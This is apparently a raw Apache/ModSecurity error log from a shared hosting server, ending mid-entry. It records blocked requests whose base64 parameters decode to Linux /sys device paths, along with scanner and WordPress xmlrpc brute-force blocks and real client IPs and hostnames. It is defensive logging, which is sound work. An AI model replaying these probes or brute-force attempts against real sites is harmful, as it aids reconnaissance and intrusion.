https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:21:55.856587 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:21:56.074779 2026] [security2:error] [pid 715691:tid 715804] [remote 17.22.237.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JLV-dFiaX9AtWiQWOQABKF0"] [Sat Jun 13 18:21:56.407871 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:56.408314 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:56.446319 2026] [security2:error] [pid 646876:tid 646989] [remote 17.246.15.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JNyTkdrNlD40tSHJ0gAAQ24"] [Sat Jun 13 18:21:56.577774 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.42:46536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:56.578257 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.42:46536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:56.674396 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.96:57305] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:56.674687 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.96:57305] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:56.687529 2026] [security2:error] [pid 646876:tid 647063] [client 172.56.168.133:59093] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30JNyTkdrNlD40tSHJ3QAAADc"] [Sat Jun 13 18:21:56.687660 2026] [security2:error] [pid 646876:tid 647063] [client 172.56.168.133:59093] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30JNyTkdrNlD40tSHJ3QAAADc"] [Sat Jun 13 18:21:56.690064 2026] [proxy:error] [pid 646876:tid 647058] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:56.690133 2026] [proxy_http:error] [pid 646876:tid 647058] [client 207.241.173.18:44150] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:56.691153 2026] [proxy:error] [pid 646876:tid 647058] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:21:56.691185 2026] [proxy_http:error] [pid 646876:tid 647058] [client 207.241.173.18:44150] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:21:56.749002 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.64:44780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:56.749307 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.64:44780] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:56.767657 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.27:38682] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:56.768000 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.27:38682] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:56.772823 2026] [security2:error] [pid 715691:tid 715881] [client 210.217.96.217:25976] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30JLV-dFiaX9AtWiQWVAAAATI"] [Sat Jun 13 18:21:56.772941 2026] [security2:error] [pid 715691:tid 715881] [client 210.217.96.217:25976] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30JLV-dFiaX9AtWiQWVAAAATI"] [Sat Jun 13 18:21:56.904747 2026] [security2:error] [pid 646876:tid 646880] [remote 17.246.19.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JNyTkdrNlD40tSHJ6AAAEAE"] [Sat Jun 13 18:21:56.984101 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2lk [Sat Jun 13 18:21:56.984539 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2lk [Sat Jun 13 18:21:57.279060 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.75:47664] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:57.279503 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.75:47664] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:57.509669 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:21:57.510063 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:21:57.737960 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.19:46458] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:57.738417 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.19:46458] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:57.926740 2026] [security2:error] [pid 646876:tid 646949] [remote 17.22.245.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JdyTkdrNlD40tSHKDQAAG0Y"] [Sat Jun 13 18:21:58.004335 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.16:44576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:58.004818 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.16:44576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:58.024789 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNl [Sat Jun 13 18:21:58.025180 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNl [Sat Jun 13 18:21:58.254874 2026] [access_compat:error] [pid 715691:tid 715749] [remote 57.141.14.68:31296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:58.255166 2026] [access_compat:error] [pid 715691:tid 715749] [remote 57.141.14.68:31296] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:58.273115 2026] [security2:error] [pid 646876:tid 646924] [remote 17.241.75.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JtyTkdrNlD40tSHKGwAAWy0"] [Sat Jun 13 18:21:58.352191 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.67:58145] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:58.352462 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.67:58145] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:58.504250 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.63:24902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:58.504520 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.63:24902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:58.533605 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:21:58.533941 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:21:58.547203 2026] [core:error] [pid 646876:tid 647109] [client 47.79.201.75:6428] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:21:58.547222 2026] [core:error] [pid 646876:tid 647109] [client 47.79.201.75:6428] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:21:58.830281 2026] [security2:error] [pid 715691:tid 715736] [remote 17.22.245.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JrV-dFiaX9AtWiQWcgABfxo"] [Sat Jun 13 18:21:58.832511 2026] [security2:error] [pid 715691:tid 715734] [remote 17.241.75.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30JrV-dFiaX9AtWiQWcwABeBg"] [Sat Jun 13 18:21:59.040874 2026] [security2:error] [pid 646876:tid 647126] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_date_set_variation3.phpt"] [unique_id "ai30J9yTkdrNlD40tSHKLQAAAHY"] [Sat Jun 13 18:21:59.066764 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:21:59.067195 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:21:59.418102 2026] [security2:error] [pid 715691:tid 715737] [remote 17.241.75.10:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30J7V-dFiaX9AtWiQWfQABMhs"] [Sat Jun 13 18:21:59.462442 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.21:40607] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:59.462709 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.21:40607] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 